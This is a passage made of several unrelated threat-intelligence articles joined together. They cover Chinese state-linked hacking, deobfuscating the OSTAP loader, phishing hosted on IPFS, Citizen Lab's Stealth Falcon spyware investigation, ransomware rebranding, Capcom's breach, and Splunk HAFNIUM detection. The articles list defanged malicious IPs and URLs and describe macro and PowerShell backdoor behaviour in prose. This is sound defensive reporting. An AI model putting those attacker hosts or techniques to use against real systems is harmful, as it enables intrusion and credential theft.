statement, founder of Qihoo 360 Zhou Hongyi stated that it was only ‘imaginary success’ when competing in overseas competitions. Rather, Chinese hackers and their knowledge should ‘stay within China’ to recognize the true importance and “strategic value” of the software vulnerabilities. Following this, China restricted travel for Chinese hackers, instead inviting them to compete in the home-grown Tianfu competition. The very same event where the winning vulnerability (Chaos) has been aggressively used to target Uyghurs. ## The APT Side Hustle An increasing number of reports highlight activity from Chinese APTs deploying ransomware on their victims and hacking for profit, using the same tactics, tools and occasionally time as their MSS campaigns. This has included the repurposing of state-sponsored malware in the gaming industry, stealing virtual currencies and selling malicious apps. A Chinese hacker commented that online games are the most valuable part of the Chinese hacking industry. His reasoning? That China’s internet security consciousness is weak. Yet it seems this focus might have changed over the years, with China’s hackers now focusing outside of the Firewall. The Chinese government is permitting cyber criminals to conduct this activity within its borders. We have evidenced direct involvement of criminal hackers with the MSS, while others in the InfoSec community have proven clear Chinese state links to APT intrusion activity. So, is it tactical toleration on behalf of the MSS to allow these hackers to conduct cybercrime outside of its borders for self-profit? Or have the MSS lost control of the criminals it employs to do its dirty work? We are also seeing greater sharing of tools, techniques and knowledge across Chinese APT groups. This is most evident with Hafnium, where a large number of Chinese APT groups were concurrently and recklessly using the MES vulnerability. Increased crossover in malware and TTPs points to greater knowledge sharing and a higher level of organisation than what China would have us believe. ## Chain of Command Chinese APTs take direction from the Chinese state. This is a pattern starting with front companies, leading back to MSS contract hackers and ultimately to local and regional MSS bureaus. It is becoming increasingly obvious that there is something more at play here. A cyber campaign of sorts; coordinated, run and tasked by seniors within the MSS? We have evidenced multiple Chinese APTs which have relationships with MSS officers and are behind global campaigns of cyber hacking. Yet China keeps denying responsibility, claiming that allegations of their APT activity are ‘baseless with no evidence’. ## Conclusion There has been 100 years of the CCP but only 38 years of the MSS. Yet there are a number of questions which remain unanswered: 1. Does Xi know what the MSS are doing in cyberspace? 2. Do the CCP understand how their actions undermine the positive narrative China would like the world to believe? 3. Does the benefit of the Chinese cyber programme outweigh the costs to the Chinese leadership? Happy Birthday CCP. 生日快乐. As our present to you for reaching this auspicious milestone, we promise to stick with you and keep a close eye on what the MSS cyber programme is up to. We will continue to pen more attribution pieces as long as you support your APTs and deny they are working for you.
# Deobfuscating and Hunting for OSTAP, Trickbot’s Dropper and Best Friend **Equipe CERT** April 14, 2020 During a recent investigation dealing with a ransomware attack, CERT Intrinsec faced the OSTAP loader. This loader is used to deliver other malwares (such as Trickbot) on an infected system. It uses high obfuscation techniques to prevent the code from being read and to bypass detection processes. ## Obfuscated Loader The OSTAP loader we analyzed was about 10,000 lines long. We started the static analysis by going through the code by hand to understand its structure. We identified a key part of the code that helped us to deobfuscate the loader. The instructions aim at executing the `String.fromCharCode` function with the parameter `ewnfBeth8`. There are lots of noise instructions in the program. For example, `ppfhair_3(ewnfBeth8)` in the try statement will never be triggered because the function does not exist. It is done on purpose to always enter the catch. Besides, `etvulike2` parameter is always equal to ‘f’. A large part of the program consists of a concatenation of functions. The action of the function above is to apply `String.fromCharCode` to 69, i.e., "E". The program uses this method to set all its instructions. Knowing that, we decided to write a script to extract each obfuscated character. ## Deobfuscation Script The main goal of the script is to get indicators of compromise from the loader. It has been developed using Node.js. It first goes through the obfuscated loader, retrieves the targeted numbers, and applies `String.fromCharCode` to decode them. Then, it collects the indicators of compromise in the decoded payload using regular expressions. Extracted IOCs are IPs, URLs, and User-Agents. After deobfuscating the loader as a part of our investigation, we decided to hunt recent and similar files on VirusTotal, using searches on static code patterns (content: “‘String’)[‘slice’]”, for instance). We found lots of samples and processed them to extract as many IOCs as possible. We collected about 140 samples from VirusTotal using the script. We analyzed them and extracted the indicators of compromise presented in the table below. We can say that at least one of the IP addresses (185[.]234[.]73[.]125) is related to the Trickbot campaign happening since the Coronavirus appeared, such as in Italy, as reported by Sophos. | IP | URL | User-Agent | |-----------------------|------------------------------------------------------------------|--------------------------------| | 141[.]98[.]214[.]14 | hxxps[://]141[.]98[.]214[.]14/6BcsTO/AGVV5r[.]php | Mozilla/5.0 | | 185[.]159[.]82[.]205 | hxxps[://]185[.]159[.]82[.]205/2/1[.]php | (Windows NT 6.; Win64; | | 185[.]216[.]35[.]10 | hxxps[://]185[.]216[.]35[.]10/VYut68/L2KSUN[.]php | x64; | | 185[.]234[.]73[.]125 | hxxps[://]185[.]234[.]73[.]125/wMB03o/Wx9u79[.]php | Trident/7.0; rv:11.0) like | | 194[.]87[.]96[.]100 | hxxps[://]194[.]87[.]96[.]100/2/1[.]php | Gecko | | 45[.]128[.]133[.]41 | hxxp[://]45[.]128[.]133[.]41/jTlp8P/3OXkud[.]php | | | 91[.]196[.]70[.]126 | hxxps[://]91[.]196[.]70[.]126/2/zsQX9M[.]php | |
# IPFS: The New Hotbed of Phishing A few months ago, we reported on an interesting site called the Chameleon Phishing Page. These websites have the capability to change their background and logo depending on the user’s domain. The phishing site is stored in IPFS (InterPlanetary File System) and after reviewing the URLs used by the attacker, we noticed an increasing number of phishing emails containing IPFS URLs as their payload. We have observed more than 3,000 emails containing phishing URLs that have utilized IPFS for the past 90 days and it is evident that IPFS is increasingly becoming a popular platform for phishing websites. ## What’s with IPFS and why do attackers use it? IPFS was created in 2015 and is a distributed, peer-to-peer file-sharing system for storing and accessing files, websites, applications, and data. Contents are available through peers located worldwide, who might be transferring information, storing it, or doing both. IPFS can locate a file using its content address rather than its location. To be able to access a piece of content, users need a gateway hostname and the content identifier (CID) of the file. ``` https://<Gateway>/ipfs/<CID Hash> ``` Currently, most data is transferred across the internet using Hypertext Transfer Protocol (HTTP) which employs a centralized client-server approach. IPFS, on the other hand, is a project that aims to create a completely decentralized web that works through a P2P network. With the IPFS configuration, shared files are distributed to other machines acting as nodes throughout the networked file system; hence it can be accessed whenever needed. The file is retrieved from any participating node on the network that has the requested content. In a centralized network, data is not accessible if the server is down or if a link gets broken. Whereas with IPFS, data is persistent. Naturally, this extends to the malicious content stored in the network. Taking down phishing content stored on IPFS can be difficult because even if it is removed in one node, it may still be available on other nodes. Another thing to consider is the difficulty of discovering malicious traffic in a legitimate P2P network. With data persistence, robust network, and little regulation, IPFS is perhaps an ideal platform for attackers to host and share malicious content. ## How do we identify IPFS URLs? As mentioned earlier, a CID is a label that is used to point to content in an IPFS network. Instead of location-based addressing, data is requested using the hash of that content. IPFS uses sha-256 hashing algorithm by default. The CID version 0 of IPFS was first designed to use base 58-encoded multihashes as the content identifiers. Version 0 starts with “Qm” and has a length of 46 characters. However, in the latest CID v1 it contains some leading identifiers that clarify exactly which representation is used, along with the content-hash itself. It includes a decoding algorithm links to existing software implementations for decoding CIDs. The subdomain gateways convert paths with custom bases like base16 to base32 or base36, in an effort to fit a CID in a DNS label: **Sample URL:** ``` dweb[.]link/ipfs/f01701220c3c4733ec8affd06cf9e9ff50ffc6bcd2ec85a6170004bb709669c31de94391a ``` returns a HTTP 301 redirect: ``` bafybeigdyrzt5sfp7udm7hu76uh7y26nf3efuylqabf3oclgtqy55fbzdi[.]ipfs[.]dweb[.]link ``` IPFS links usually have a common format of: ``` https://ipfs[.]io/ipfs/{46 random character string}?(filename|key)={random character string} https://ipfs[.]io/ipfs/{46 random character string}?filename={file name}\.html&emailtoken={email address} https://ipfs[.]io/ipfs/{46 random character string}#{user email address} ``` ## Different Avenues of IPFS Phishing Multiple services are available for storing files in an IPFS network. Cyber attackers have taken advantage of these services and they are now being used in phishing campaigns. Here are some of the IPFS phishing websites that we have observed and their URL behavior. ### Blockchain Services - infura[.]io **Common URL format:** ``` hxxp://{59 character string}.ipfs.infura-ipfs.io/?filename={file name}.html/ ``` **Common phishing behavior:** 1. Upon clicking the continue button on the phishing URL, it will try to access the ‘favicon.png’ file that contains an IPFS directory. 2. The phishing page source-code contains the details that will be stolen from the victim. ### Google Services - googleweblight[.]com **Common URL format:** ``` http://googleweblight[.]com/i?u={IPFS URL redirection} ``` **Common phishing behavior:** 1. Upon accessing the Googleweblight with IPFS URL, there will be an automatic multiple URL redirection. **Sample phishing redirection chain:** - The initial URL’s source-code usually contains some obfuscated code. ### Abused Cloud Storage Services 1. **Filebase[.]io** **Common URL format:** ``` hxxps://ipfs[.]filebase.io/ipfs/{59 random character string} ``` **Common phishing behavior:** 1. Upon accessing the URL, the phishing activity happens on the same page and no URL redirection. 2. The source-code of the phishing URL contains a form tag that uses another phishing URL to store the stolen credentials. 2. **Nftstorage[.]link** **Common URL formats:** ``` hxxps://nftstorage[.]link/ipfs/{59 random character string}/#{target email address} hxxps://{59 random character string}.ipfs.nftstorage[.]link/#{target email address} ``` **Common phishing behavior:** 1. The source-code of the phishing URL often uses ‘Unescape’ encoding in source-code. 2. Then, the decoded source-code contains common phishing code injection template. ## Phishing emails using abused web hosting site Our last example below shows a fake notification containing a billing receipt. The message states that a payment for an Azure subscription is already processed and a billing receipt is attached for reference. The sender claims to be the “Mail Administrator” and the domain is not owned by Microsoft. Other noticeable details are the missing domain in its Message-ID and the unusual sentence formatting in the subject line. The malicious HTML attachment contains a JavaScript code which launches the phishing page. The `setTimeout()` function was used to open the phishing URL with 0 delay in a new browser tab. Inside this function is a `location.href` property which sets the URL of the current page. The attachment leads to a fake Microsoft website which states that the user needs to pay their Azure statement. Pressing the “Contact your billing administrators” button will lead to the final website payload wherein users are required to log in with their Microsoft credentials to continue. ## IOCs ``` hxxps://ipfs[.]fleek[.]co/ipfs/bafybeiddmwwk3rvvu5zlweszoyvo54v3corf2eu4fmhxwprhxitj2jdrmi hxxps://ipfs[.]fleek[.]co/ipfs/bafybeic63bwxphx3sasgvpb2fvy766aiymvy2pzoz3htx7zomysw67jucu hxxps://jobswiper[.]net/web_data_donot_delete/store/w3lllink[.]php hxxps://jobswiper[.]net/web_data_donot_delete/ hxxps://o365spammerstestlink[.]surge[.]sh/ ``` ## Conclusion Phishing techniques have taken a leap by utilizing the concept of decentralized cloud services using IPFS. One of the main reasons why IPFS has become a new playground for phishing is that many web hosting, file storage or cloud services are now offering IPFS services. This means that there’s more flexibility for the phishers in creating new types of phishing URLs. In addition, the spammers can easily camouflage their activities by hosting their content in legitimate web hosting services or use multiple URL redirection techniques to help thwart scanners using URL reputation or automated URL analysis. Keeping up to date with the latest technology and cyber threats is beneficial in preventing users from being victimized by web threats such as phishing. As always, we remind everyone to stay vigilant in this ever-changing digital landscape.
# Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents **Research by Bill Marczak and John Scott-Railton** **May 29, 2016** ## 1. Executive Summary This report describes a campaign of targeted spyware attacks carried out by a sophisticated operator, which we call Stealth Falcon. The attacks have been conducted from 2012 until the present, against Emirati journalists, activists, and dissidents. We discovered this campaign when an individual purporting to be from an apparently fictitious organization called “The Right to Fight” contacted Rori Donaghy. Donaghy, a UK-based journalist and founder of the Emirates Center for Human Rights, received a spyware-laden email in November 2015, purporting to offer him a position on a human rights panel. Donaghy has written critically of the United Arab Emirates (UAE) government in the past and had recently published a series of articles based on leaked emails involving members of the UAE government. Circumstantial evidence suggests a link between Stealth Falcon and the UAE government. We traced digital artifacts used in this campaign to links sent from an activist’s Twitter account in December 2012, a period when it appears to have been under government control. We also identified other bait content employed by this threat actor. We found 31 public tweets sent by Stealth Falcon, 30 of which were directly targeted at one of 27 victims. Of the 27 targets, 24 were obviously linked to the UAE, based on their profile information, and at least six targets appeared to be operated by people who were arrested, sought for arrest, or convicted in absentia by the UAE government, in relation to their Twitter activity. The attack on Donaghy — and the Twitter attacks — involved a malicious URL shortening site. When a user clicks on a URL shortened by Stealth Falcon operators, the site profiles the software on a user’s computer, perhaps for future exploitation, before redirecting the user to a benign website containing bait content. We queried the URL shortener with every possible short URL and identified 402 instances of bait content which we believe were sent by Stealth Falcon, 73% of which obviously referenced UAE issues. Of these URLs, only the one sent to Donaghy definitively contained spyware. However, we were able to trace the spyware Donaghy received to a network of 67 active command and control (C2) servers, suggesting broader use of the spyware, perhaps by the same or other operators. ## 2. Background Rori Donaghy is a London-based journalist who currently works for UK news organization Middle East Eye, a website that covers news in the Middle East. Middle East Eye has recently published a series of articles about UAE foreign policy, based on leaked emails involving members of the UAE government. Previously, Donaghy led the Emirates Center for Human Rights, an organization he founded to “promote the defence of human rights in the United Arab Emirates … through building strong relationships with the media, parliaments and other relevant organisations outside the UAE”. ### 2.1. Political and Human Rights Situation in the UAE In its most recent (2015) Freedom in the World ranking, Freedom House classified the UAE as “not free,” and noted that the UAE continues to “suppress dissent”. Human Rights Watch stated in its most recent (2016) country report, that the UAE has “continued … to arbitrarily detain and in some cases forcibly disappear individuals who criticized the authorities”. Amnesty International says that UAE courts have “accepted evidence allegedly obtained through torture”. Specifically in the online realm, there is evidence that the UAE government has previously conducted malware attacks against civil society. At least three dissidents, including a journalist, and UAE human rights activist Ahmed Mansoor, were targeted in 2012 with Hacking Team spyware by a Hacking Team customer in the UAE, apparently operating under the auspices of the office of Sheikh Tahnoon bin Zayed al-Nahyan, a son of the founder of the UAE, and now the UAE Deputy National Security Advisor. The UAE client had a license from Hacking Team to concurrently infect and monitor 1100 devices. ## 3. The November 2015 Attack: An “Invitation” This section describes an email attack against journalist Rori Donaghy. The operators used a Microsoft Word macro that installs a custom backdoor allowing operators to execute arbitrary commands on a compromised machine. ### 3.1 Initial Attack Email In November 2015, the journalist Donaghy received the following email message, purportedly offering him a position on a panel of human rights experts: **From:** [email protected] **Subject:** Current Situation of Human Rights in the Middle East Mr. Donaghy, We are currently organizing a panel of experts on Human Rights in the Middle East. We would like to formally invite you to apply to be a member of the panel by responding to this email. You should include your thoughts and opinions in response to the following article about what more David Cameron can be doing to help aid the Middle East. Thank you. We look forward to hearing back from you, Human Rights: The Right to Fight Donaghy was suspicious of the email and forwarded it to us for analysis. We found that the link in the email loaded a page containing a redirect to the website of Al Jazeera. Before completing the redirect, it invoked JavaScript to profile the target’s computer. ### 3.2 Communication with the Operator On our instruction, Donaghy responded to the email, asking for further information. The operators responded with the following message: **From:** [email protected] **Subject:** RE: Current Situation of Human Rights in the Middle East Mr. Donaghy, Thank you for getting back to us. We are very interested in you joining our panel. The information you requested is in the attached document. In order to protect the content of the attachment we had to add macro enabled security. Please enable macros in order to read the provided information about our organization. We hope you will consider joining us. Thank you. We look forward to hearing back from you, Human Rights: The Right to Fight By chance, the attachment was identified as malicious and blocked by a program running in Donaghy’s email account. We instructed him to follow up and request that the operators forward the attachment via another method. Donaghy received the following reply: **From:** [email protected] **Subject:** RE: Current Situation of Human Rights in the Middle East Mr. Donaghy, We apologize for having problems with our attachment. Please follow this link to download our organizational information. The link has been password protected. The password is: right2fight. In order to protect the content of the attachment we also had to add macro enabled security. Please enable macros in order to read the provided information about our organization. We hope you will consider joining us. Thank you. We look forward to hearing back from you, Human Rights: The Right to Fight This second link redirects to a password-protected link to a file shared on an ownCloud instance. We obtained this file and found it to be a Microsoft Word document. ### 3.3 The Malicious Document The document is: - **Filename:** right2fight.docm - **MD5:** 80e8ef78b9e28015cde4205aaa65da97 - **SHA1:** f25466e4820404c817eaf75818b7177891735886 - **SHA256:** 5a372b45285fe6f3df3ba277ee2de55d4a30fc8ef05de729cf464103632db40f When opened, the target is greeted with an image, purporting to be a message from “proofpoint,” a legitimate provider of security solutions for Office 365. The image claims that “This Document Is Secured” and requests that the user “Please enable macros to continue.” If the target enables macros, they are presented with a document that purports to be from an organization called “The Right To Fight,” and asks the target Donaghy to open the link in the original email he received (the email containing the profiling URL). We believe that “The Right To Fight” is a fictitious organization, as their logo appears to be copied from an exhibition about “African American Experiences in WWII”. Further, “The Right to Fight” has no discernable web presence. ### 3.3.1 Profiling The document attempts to execute code on the recipient’s computer, using a macro. The macro passes a Base64-encoded command to Windows PowerShell, which gathers system information via Windows Management Instrumentation (WMI), and attempts to determine the installed version of .NET by querying the registry. ### 3.3.2 Communication & Obtaining a Shell Gathered information is returned to a specific URL, and the server’s response is executed as a PowerShell command. The server response is a PowerShell command that decodes and materializes an invocation of a Base64-encoded PowerShell command to disk as IEWebCache.vbs, and creates a scheduled task entitled “IE Web Cache” that executes the file hourly. IEWebCache.vbs runs a Base64-encoded PowerShell command, which periodically POSTs a unique identifier to a specific URL. The script executes server responses as PowerShell commands, responding back to the server with the exit status of, output of, or any exceptions generated by the commands. This gives the operator control over the victim’s computer, and allows the operator to install additional spyware or perform other activities. All commands and responses are encrypted using RC4 with a hardcoded key. ## 4. The Case of the Fake Journalist In the course of our investigation, we scanned the email of journalist Donaghy and found evidence that he had been contacted by a fictitious journalist, whom we linked to Stealth Falcon. We scanned Donaghy’s Gmail account for any previous messages featuring links that redirected through aax.me. We identified a message from December 2013, purporting to be from a UK journalist named Andrew Dwight. **From:** [email protected] **Subject:** FW: Correspondence Request Greetings Mr. Donaghy, I have been trying to reach you for comment and I am hoping that this e-mail reaches the intended recipient. My name is Andrew Dwight and I am currently writing a book about my experiences in the Middle East. My focus is on human factors and rights issues in seemingly non-authoritarian regimes (that are, in reality, anything but). I was hoping that I might correspond with you and reference some of your work, specifically this piece for the book. Happy New Year, Andrew The link in the email redirects to a 2013 Huffington Post blog post authored by Donaghy. We found that Donaghy had responded to this message shortly after receiving it, offering to meet in person with Andrew in the UK. Andrew responded several weeks later with a follow-up message. While attempting to determine whether “Andrew Dwight” was a real person, we found a Twitter profile, @Dwight389 for the same persona, and that mentions the same address from which Donaghy received the email. We found that this account messaged three UAE dissident accounts via Twitter mentions. While we were unable to establish if @Dwight389 successfully attacked any of these individuals, we profile the targets below. ### 4.1. Another Target: Obaid Yousef Al-Zaabi Obaid Yousef Al-Zaabi was arrested for criticizing the UAE. He was released due to health problems a month later but was arrested again a day after talking to CNN about the condition of US citizen Shezanne Cassim, imprisoned for making a parody video about “youth culture in Dubai”. Al-Zaabi was acquitted of all charges but is still imprisoned in the prisoners ward of a hospital. ### 4.2. Another Target: Professor Abdullah Al-Shamsi Professor Abdullah Al-Shamsi is the Vice Chancellor of the British University in Dubai. He is a signatory to a petition to the UAE government for direct elections. His father was appointed to, and chaired the first sessions of, the Federal National Council (FNC). ### 4.3. Additional Targets: Qatari Citizens Sentenced to Prison In May 2015, five Qataris were sentenced for posting allegedly offensive pictures of the UAE Royal Family on social media. The prosecution accused the five of being agents of Qatar’s State Security. ## 5. Stealth Falcon’s Widespread Targeting of UAE Figures This section describes how we identified additional Stealth Falcon victims and bait content, and traced Stealth Falcon’s spyware to additional C2 servers. We found aax.me links targeting 24 accounts, each of whom was mentioned in a tweet that also contained an aax.me shortened link. Several individuals were subsequently arrested or convicted in absentia by the UAE Government in relation to their online activities. ## 6. Tip of the Iceberg: Possibly Related Attacks We suspect that the activity we have observed is simply the tip of the iceberg in ongoing attacks against dissidents in the UAE. ## 7. Attribution We analyzed two competing hypotheses about the identity of Stealth Falcon and concluded that the balance of evidence suggests Stealth Falcon may be linked to the UAE government. ### Hypothesis 1: Stealth Falcon is State Sponsored Stealth Falcon is a sophisticated threat actor, capable of deploying a wide range of technical and social engineering techniques against a potential target. The operations targeting Donaghy are linked to a series of primarily UAE-focused campaigns against UAE dissidents, starting in January 2012. ### Hypothesis 2: Stealth Falcon is Not State Sponsored We have considered the possibility that Stealth Falcon’s operators are not state sponsored, but ultimately find little evidence to support this possibility. ## 8. Conclusion: The Big Picture Stealth Falcon appears to be a new, state-sponsored threat actor. As an operator, Stealth Falcon is distinguished by well-informed and sophisticated social engineering, combined with moderately sophisticated technical attempts to deanonymize and monitor political targets working on the UAE, and relatively simple malcode. --- **Acknowledgements** Special thanks to PassiveTotal and Rori Donaghy. Thanks to Jeffrey Knockel, Sarah McKune, Chris Doman, Mansoureh Mills.
# Ransomware Gangs and the Name Game Distraction It’s nice when ransomware gangs have their bitcoin stolen, malware servers shut down, or are otherwise forced to disband. We hang on to these occasional victories because history tells us that most ransomware moneymaking collectives don’t go away so much as reinvent themselves under a new name, with new rules, targets, and weaponry. Indeed, some of the most destructive and costly ransomware groups are now in their third incarnation. Reinvention is a basic survival skill in the cybercrime business. Among the oldest tricks in the book is to fake one’s demise or retirement and invent a new identity. A key goal of such subterfuge is to throw investigators off the scent or to temporarily direct their attention elsewhere. Cybercriminal syndicates also perform similar disappearing acts whenever it suits them. These organizational reboots are an opportunity for ransomware program leaders to set new ground rules for their members — such as which types of victims aren’t allowed (e.g., hospitals, governments, critical infrastructure), or how much of a ransom payment an affiliate should expect for bringing the group access to a new victim network. I put together the above graphic to illustrate some of the more notable ransom gang reinventions over the past five years. What it doesn’t show is what we already know about the cybercriminals behind many of these seemingly disparate ransomware groups, some of whom were pioneers in the ransomware space almost a decade ago. We’ll explore that more in the latter half of this story. One of the more intriguing and recent revamps involves DarkSide, the group that extracted a $5 million ransom from Colonial Pipeline earlier this year, only to watch much of it get clawed back in an operation by the U.S. Department of Justice. After acknowledging someone had also seized their Internet servers, DarkSide announced it was folding. But a little more than a month later, a new ransomware affiliate program called BlackMatter emerged, and experts quickly determined BlackMatter was using the same unique encryption methods that DarkSide had used in their attacks. DarkSide’s demise roughly coincided with that of REvil, a long-running ransomware group that claims to have extorted more than $100 million from victims. REvil’s last big victim was Kaseya, a Miami-based company whose products help system administrators manage large networks remotely. That attack let REvil deploy ransomware to as many as 1,500 organizations that used Kaseya. REvil demanded a whopping $70 million to release a universal decryptor for all victims of the Kaseya attack. Just days later, President Biden reportedly told Russian President Vladimir Putin that he expects Russia to act when the United States shares information on specific Russians involved in ransomware activity. Whether that conversation prompted actions is unclear. But REvil’s victim shaming blog would disappear from the dark web just four days later. Mark Arena, CEO of cyber threat intelligence firm Intel 471, said it remains unclear whether BlackMatter is the REvil crew operating under a new banner, or if it is simply the reincarnation of DarkSide. But one thing is clear, Arena said: “Likely we will see them again unless they’ve been arrested.” Likely, indeed. REvil is widely considered a reboot of GandCrab, a prolific ransomware gang that boasted of extorting more than $2 billion over 12 months before abruptly closing up shop in June 2019. “We are living proof that you can do evil and get off scot-free,” GandCrab bragged. And wouldn’t you know it: Researchers have found GandCrab shared key behaviors with Cerber, an early ransomware-as-a-service operation that stopped claiming new victims at roughly the same time that GandCrab came on the scene. ## GOOD GRIEF The past few months have been a busy time for ransomware groups looking to rebrand. BleepingComputer recently reported that the new “Grief” ransomware startup was just the latest paint job of DoppelPaymer, a ransomware strain that shared most of its code with an earlier iteration from 2016 called BitPaymer. All three of these ransom operations stem from a prolific cybercrime group known variously as TA505, “Indrik Spider,” and (perhaps most memorably) Evil Corp. According to security firm CrowdStrike, Indrik Spider was formed in 2014 by former affiliates of the GameOver Zeus criminal network who internally referred to themselves as “The Business Club.” The Business Club was a notorious Eastern European organized cybercrime gang accused of stealing more than $100 million from banks and businesses worldwide. In 2015, the FBI offered a standing $3 million bounty for information leading to the capture of the Business Club’s leader — Evgeniy Mikhailovich Bogachev. By the time the FBI put a price on his head, Bogachev’s Zeus trojan and later variants had been infecting computers for nearly a decade. Bogachev was way ahead of his colleagues in pursuing ransomware. His Gameover Zeus Botnet was a peer-to-peer crime machine that infected between 500,000 and a million Microsoft Windows computers. Throughout 2013 and 2014, PCs infected with Gameover were seeded with Cryptolocker, an early, much-copied ransomware strain allegedly authored by Bogachev himself. CrowdStrike notes that shortly after the group’s inception, Indrik Spider developed their own custom malware known as Dridex, which has emerged as a major vector for deploying malware that lays the groundwork for ransomware attacks. “Early versions of Dridex were primitive, but over the years the malware became increasingly professional and sophisticated,” CrowdStrike researchers wrote. “In fact, Dridex operations were significant throughout 2015 and 2016, making it one of the most prevalent eCrime malware families.” That CrowdStrike report was from July 2019. In April 2021, security experts at Check Point Software found Dridex was still the most prevalent malware (for the second month running). Mainly distributed via well-crafted phishing emails — such as a recent campaign that spoofed QuickBooks — Dridex often serves as the attacker’s initial foothold in company-wide ransomware attacks, CheckPoint said. ## REBRANDING TO AVOID SANCTIONS Another ransomware family tied to Evil Corp. and the Dridex gang is WastedLocker, which is the latest name of a ransomware strain that has rebranded several times since 2019. That was when the Justice Department put a $5 million bounty on the head of Evil Corp., and the Treasury Department’s Office of Foreign Asset Control (OFAC) said it was prepared to impose hefty fines on anyone who paid a ransom to the cybercrime group. In early June 2021, researchers discovered the Dridex gang was once again trying to morph in an effort to evade U.S. sanctions. The drama began when the Babuk ransomware group announced in May that they were starting a new platform for data leak extortion, which was intended to appeal to ransomware groups that didn’t already have a blog where they can publicly shame victims into paying by gradually releasing stolen data. On June 1, Babuk changed the name of its leaks site to payload[dot]bin, and began leaking victim data. Since then, multiple security experts have spotted what they believe is another version of WastedLocker dressed up as payload.bin-branded ransomware. “Looks like EvilCorp is trying to pass off as Babuk this time,” wrote Fabian Wosar, chief technology officer at security firm Emsisoft. “As Babuk releases their PayloadBin leak portal, EvilCorp rebrands WastedLocker once again as PayloadBin in an attempt to trick victims into violating OFAC regulations.” Experts are quick to point out that many cybercriminals involved in ransomware activity are affiliates of more than one distinct ransomware-as-a-service operation. In addition, it is common for a large number of affiliates to migrate to competing ransomware groups when their existing sponsor suddenly gets shut down. All of the above would seem to suggest that the success of any strategy for countering the ransomware epidemic hinges heavily on the ability to disrupt or apprehend a relatively small number of cybercriminals who appear to wear many disguises. Perhaps that’s why the Biden Administration said last month it was offering a $10 million reward for information that leads to the arrest of the gangs behind the extortion schemes, and for new approaches that make it easier to trace and block cryptocurrency payments.
# Telekom Security Malware Analysis Repository This repository comprises scripts, signatures, and additional IOCs of our blog posts at the telekom.com blog as well as of our Twitter account. - **2021-05-17:** Let’s set ice on fire: Hunting and detecting IcedID infections (IcedID) - **2021-07-14:** LOCKDATA Auction – Another leak marketplace showing the recent shift of ransomware operators (CryLock) - **2021-09-14:** Flubot's Smishing Campaigns under the Microscope (Flubot/Teabot) - **2021-10-29:** #YARA rule for hunting XOR encrypted #PlugX / #Korplug payloads (PlugX) - **2022-01-14:** #100DaysOfYara Detect Hacktools that modify RDP settings (Hacktools) - **2022-03-11:** SystemBC YARA rule and extractor (SystemBC) - **2022-03-18:** #100DaysOfYara Detect Vatet Loader in backdoored Rufus (Defray777)
# Capcom Quietly Discloses Cyberattack Impacting Email, File Servers Capcom has disclosed a cyberattack that impacted the company's operations over the weekend. The Osaka, Japan-based video game developer said in a notice dated November 4 that two days prior, beginning in the early morning, "some of the Capcom Group networks experienced issues that affected access to certain systems" due to a cyberattack. Email and file servers were impacted. Capcom has described the attack as "unauthorized access" conducted by a third party. As the security incident took place, the company stopped some operations on its internal networks, likely to prevent the cyberattack from spreading further and potentially compromising additional corporate resources. Capcom claims that there is "no indication" that customer information has been accessed or compromised; at least, at this stage. "This incident has not affected connections for playing the company's games online or access to its various websites," the company said. "Capcom expressed its deepest regret for any inconvenience this may cause to its various stakeholders." At the time of writing, Capcom says it is "unable to reply to inquiries and/or to fulfill requests for documents" made through the investor relations contact form. The game developer is currently working toward restoring its systems and has reported the cyberattack to law enforcement. Capcom has not revealed any further details relating to the attack, but the company is not the only game developer targeted this year. In October, Ubisoft and Crytek were the victims of the Egregor ransomware gang, which attempted to extort a ransomware payment from the firms on the threat of the public release of proprietary data stolen during attacks. Egregor is an active ransomware group believed to be responsible for cyberattacks against GEFCO and Barnes & Noble. Researchers from Malwarebytes suspect that past affiliates of the Maze ransomware group—now retired from the scene—are now turning to Egregor as an alternative. Update: ZDNet has learned that the security incident may be due to a Ragnar Locker ransomware infection. Ragnar Locker, associated with an attack on energy company EDP in July, is a ransomware variant of which some operators deploy in virtual machines (VMs) to avoid detection. The ransomware is generally used against corporate targets. ZDNet has sent Capcom a request for comment and will update if we hear back.
# Detecting HAFNIUM Exchange Server Zero-Day Activity in Splunk **By Ryan Kovar** **March 3, 2021** If you want just to see how to find HAFNIUM Exchange Zero-Day Activity, skip down to the “detections” sections. Otherwise, read on for a quick breakdown of what happened, how to detect it, and MITRE ATT&CK mappings. ## Introduction to HAFNIUM and the Exchange Zero-Day Activity On Tuesday, March 2, 2021, Microsoft released a set of security patches for its mail server, Microsoft Exchange. These patches respond to a group of vulnerabilities known to impact Exchange 2013, 2016, and 2019. It is important to note that an Exchange 2010 security update has also been issued, though the CVEs do not reference that version as being vulnerable. While the CVEs do not shed much light on the specifics of the vulnerabilities or exploits, the first vulnerability (CVE-2021-26855) has a remote network attack vector that allows the attacker, a group Microsoft named HAFNIUM, to authenticate as the Exchange server. Three additional vulnerabilities (CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) were also identified as part of this activity. When chained together along with CVE-2021-26855 for initial access, the attacker would have complete control over the Exchange server. This includes the ability to run code as SYSTEM and write to any path on the server. A temporary mitigation for these vulnerabilities from external threats is restricting access to OWA, such as placing the OWA server behind a VPN to prevent external access. This does not, however, prevent an internal attacker from exploiting the vulnerability. In short, patch as soon as possible. ## What you need to know You may be thinking, “another Tuesday filled with patches, just like any other month.” That may be true to some extent, but it is essential to point out based on Volexity’s blog that: “In all cases of RCE (remote code execution), Volexity has observed the attacker writing web shells (ASPX files) to disk and conducting further operations to dump credentials, add user accounts, steal copies of the Active Directory database (NTDS.DIT), and move laterally to other systems and environments.” I don’t know about you, but whenever I see an adversary stealing copies of my Active Directory (AD) database, that sends chills down my spine because, at that point, I am rebuilding my entire AD from scratch as part of my remediation effort. For more color, stealing the AD database implies that the adversary will have domain administrator privilege, so this is important to investigate. ## OWA! That hurts! Some of these vulnerabilities are being exploited via Outlook Web Services (OWA), a commonly enabled feature of Exchange Server 2013, 2016, and 2019. Underlying OWA is Microsoft’s venerable web server, Internet Information Services (IIS). It just so happens that elements of this attack can be detected by looking for the appropriate POST requests in IIS logs. Wait just a moment! Splunk is super good at ingesting logs from all sources and looking for patterns in them! All we need to do is ensure that logs are being ingested from our OWA servers appropriately. Our recipe for success is to use the Splunk Universal Forwarder and add in a little bit of the Splunk-supported Technical Add-On for Microsoft IIS. Next, add something like this to your inputs.conf file so that you can ingest all of the exciting logs in the C:\inetpub\logs\LogFiles directory in W3C format. This will let you search through the IIS access logs for unusual User-Agent 